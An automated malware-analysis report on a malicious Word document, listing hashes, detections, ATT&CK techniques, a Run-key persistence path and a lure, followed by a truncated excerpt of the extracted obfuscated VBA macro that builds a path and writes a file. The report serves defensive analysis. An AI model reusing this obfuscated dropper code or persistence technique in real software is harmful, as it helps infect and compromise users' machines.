Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 153117aa54492ca9…

MALICIOUS

Office (OLE)

1.58 MB Created: 2018-02-10 15:18:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 7beb94f602e97785370fec2d059d54a5 SHA-1: 53785a0d58b774125d702cdd70015be273348314 SHA-256: 153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is executed upon opening, which uses 'CreateObject' to likely download and execute a second-stage payload. The macro constructs a registry path for persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy. The document body prompts the user to enable content to enter a 'Hash Code', indicating a social engineering lure.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/cusTIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 334569 bytes
SHA-256: 2263315944120e39ec1ee91026846b3f3537b65b16b6d147aba2efaa6021e175
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 444 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "RefEdit1, 0, 1, MSForms, TextBox"

Option Explicit



Public Function rHqB(jDBx As String, IAWY As String)
    Dim vxWR As Object
    Set vxWR = CreateObject(IAWY)
    Dim FAEO As Object
    Dim LxfM As String
    LxfM = ""
    LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(104, 82)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(242, 162)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(39, 74)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(222, 170)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(222, 152)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(98, 26)))
LxfM = DKmF(LxfM, AvXW(AxLs(95, 12)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(240, 187)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(162, 204)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(125, 47)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(230, 149)))
LxfM = DKmF(LxfM, AvXW(AxLs(222, 170)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(95, 12)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(240, 187)))
LxfM = DKmF(LxfM, AvXW(AxLs(145, 191)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(162, 204)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))


    Set FAEO = vxWR.CreateTextFile(LxfM, True, True)
    FAEO.Write jDBx
    FAEO.Close
End Function

Public Function nwTp(jDBx As String)
    Dim Ehwl As Object
    Set Ehwl = CreateObject(jDBx)
    Dim LxfM As String
    LxfM = ""
    LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(104, 82)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(242, 162)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(39, 74)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, AvXW(AxLs(222, 170)))
LxfM = DKmF(LxfM, AvXW(AxLs(88, 57)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(222, 152)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(219, 169)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(98, 26)))
LxfM = DKmF(LxfM, AvXW(AxLs(95, 12)))
LxfM = DKmF(LxfM, AvXW(AxLs(42, 110)))
LxfM = DKmF(LxfM, AvXW(AxLs(240, 187)))
LxfM = DKmF(LxfM, "\")
LxfM = DKmF(LxfM, AvXW(AxLs(209, 146)))
LxfM = DKmF(LxfM, AvXW(AxLs(234, 133)))
LxfM = DKmF(LxfM, AvXW(AxLs(162, 204)))
LxfM = DKmF(LxfM, AvXW(AxLs(201, 175)))
LxfM = DKmF(LxfM, AvXW(AxLs(50, 91)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxLs(125, 47)))
LxfM = DKmF(LxfM, AvXW(AxLs(250, 159)))
LxfM = DKmF(LxfM, AvXW(AxLs(89, 62)))
LxfM = DKmF(LxfM, AvXW(AxL
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.